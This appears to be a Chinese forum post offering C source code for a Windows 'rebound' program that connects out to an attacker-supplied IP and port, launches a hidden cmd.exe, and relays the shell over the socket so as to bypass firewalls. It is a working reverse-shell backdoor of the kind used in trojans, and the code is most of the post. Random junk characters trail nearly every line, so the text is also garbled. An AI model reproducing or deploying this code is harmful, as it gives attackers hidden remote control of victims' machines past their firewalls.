这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nDFF,ge;a#
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/* ============================== C;m,{MD
Rebound port in Windows NT \68x]q[
By wind,2006/7 EMTAl;P
===============================*/ A89n^@
#include >qqI6@h]c
#include $ ]fautQlt
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#pragma comment(lib,"wsock32.lib") rnkq.
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void OutputShell(); 1xBg^
SOCKET sClient; ZH1W#dt`[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $-=QT X
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void main(int argc,char **argv) mDCz=pk)
{ G\;a_]Q
WSADATA stWsaData; nt5x[xa
int nRet; c; MF
SOCKADDR_IN stSaiClient,stSaiServer; rw|;?a0
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if(argc != 3) *l-f">?|
{ DHnO ,"
printf("Useage:\n\rRebound DestIP DestPort\n"); 4/Mi-ls_
return; <mk'n6B
} Dp8`O4YC
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WSAStartup(MAKEWORD(2,2),&stWsaData); T'K6Q cu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^p}S5,
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stSaiClient.sin_family = AF_INET; xh90qm
stSaiClient.sin_port = htons(0); j-CSf(qIj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f6*6 *=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?RMOy$L
{ Jfe<$-$$7
printf("Bind Socket Failed!\n"); K.R4.{mo
return; CD"D^\z
} ;/79tlwq
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stSaiServer.sin_family = AF_INET; PL}c1Ud
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wJr5[p*M
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~Q3y3,x
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xl]1{$1M
{ |n/qJIE6
printf("Connect Error!"); |GLh|hr
return; vUNmN2pRJ
} })#SjFq<V
OutputShell(); ..=WG@>$+
} ';>A=m9(4%
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void OutputShell() "N*bV
{ yd>b2 M
char szBuff[1024]; ^F? }MY>
SECURITY_ATTRIBUTES stSecurityAttributes; q[
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OSVERSIONINFO stOsversionInfo; x[dR5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \}p!S$`
STARTUPINFO stStartupInfo; x,rK4L7U
char *szShell; Mcfqo0T-
PROCESS_INFORMATION stProcessInformation; {S6:LsFfm
unsigned long lBytesRead; 0hB9D{`,{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9ZVzIv(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %={[e`,
stSecurityAttributes.lpSecurityDescriptor = 0; .VG5 / 6zp
stSecurityAttributes.bInheritHandle = TRUE; 'lIj89h<E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a@v}j&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g-8D1.U
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5z=.Z\M`8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Y]'wb
stStartupInfo.wShowWindow = SW_HIDE; DPg\y".4Y&
stStartupInfo.hStdInput = hReadPipe; r
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~C31=\$
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GetVersionEx(&stOsversionInfo); 5fjL
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switch(stOsversionInfo.dwPlatformId) sL",Ho
{ *I<L1g%9d
case 1: ^/M-*U8ab
szShell = "command.com"; ?qt .+2:
break; ?qJt4Om
default: k,h
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szShell = "cmd.exe"; dc=}c/6x
break; /!A?>#O&.
} ]*v[6 +
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uN*Ynf(:-
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send(sClient,szMsg,77,0); Yj{-|2YzL
while(1) (CR]96n
{ I(Gl8F\c~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rInZd`\
if(lBytesRead) sg9
{ 6^VPRp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kesuM3
send(sClient,szBuff,lBytesRead,0); X4dxH_@
} &G$K.q
else p6AF16*f0
{ "STd ;vR
lBytesRead=recv(sClient,szBuff,1024,0); i1JVvNMQ,
if(lBytesRead<=0) break; h]>7Dl]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 12o6KVV^x
} }MIg RQ9
} ?8!\V NC.
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return; Msst:}QY
}